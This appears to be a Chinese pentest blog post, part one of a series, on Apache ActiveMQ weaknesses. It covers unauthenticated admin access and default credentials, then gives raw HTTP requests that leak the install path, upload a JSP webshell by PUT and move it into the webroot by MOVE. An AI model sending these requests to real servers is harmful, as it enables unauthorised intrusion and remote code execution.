Apache_ActiveMQ漏洞-上

本文最后更新于 2024年10月21日 晚上

Apache ActiveMQ

image

简介

ActiveMQ 是一个开源的消息中间件,主要用于实现消息的异步传递和处理。它支持多种消息协议(如 JMS、AMQP 和 MQTT),使得不同的应用程序能够在不同的平台之间进行通信

主要特点

  1. 高性能:支持高吞吐量和低延迟的消息传递,适用于需要高并发的应用场景。
  2. 支持多种协议:除了 JMS,ActiveMQ 还支持多种协议,方便与其他系统集成。
  3. 可靠性:提供消息持久化功能,确保消息在系统故障时不会丢失。
  4. 可扩展性:可以根据需求水平扩展,适应不同规模的应用。
  5. 易于使用:提供丰富的管理工具和易于理解的配置文件,使得部署和管理相对简单。
  6. 集成能力:能够与 Spring、Apache Camel 等框架无缝集成,增强应用的灵活性。

应用场景

  • 实时数据处理
  • 微服务架构中的服务间通信
  • 事件驱动架构
  • 系统解耦合

Apache ActiveMQ漏洞

Apache ActiveMQ未授权

  • 没有配置密码,直接访问/admin,可进入后台

image

Apache ActiveMQ默认口令

  • 默认密码:admin/admin

ActiveMQ物理路径泄漏

  • ActiveMQ默认开启了PUT请求当开启PUT,且存在/filesever目录时,构造好Payload(一个可导致500错误的目录),Response会返回相应的物理路径信息!

当然因为版本或者修改了配置的原因,也可能无法得到物理路径

1
2
3
4
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4
1
2
3
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

image

但是不要急,如果不存在/filesever目录,无法通过触发500报错获得物理路径的话,还可以直接访问**/admin/test/systemProperties.jsp**路径,运气好如果该环境测试界面没有被删除的话,会得到许多路径信息配置信息,物理路径也自然在其中:

image

ActiveMQ PUT任意文件上传

若服务器存在fileserver目录,则可以通过put请求写入文件,但fileserver下的文件默认不解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.83.99:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.83.99:8161/admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1qt95l6g0lzyg1vt89fbhhzowh
Connection: close
Content-Length: 6

<shell内容>

如果put成功会返回214状态码

ActiveMQ任意文件文件移动

上面提到”但fileserver下的文件默认不解析”,那即使我们put了shell又有什么用呢,于是又利用这个ActiveMQ任意文件文件移动漏洞+ActiveMQ物理路径泄漏漏洞,把put的shell根据物理路径移动到可执行shell的网站根目录去

1
2
3
4
5
6
7
8
9
10
11
12
13
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/opt/activemq/webapps/api/s.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 21

Content-Length: 0

如果move成功会返回214状态码

工具推荐

未完待续……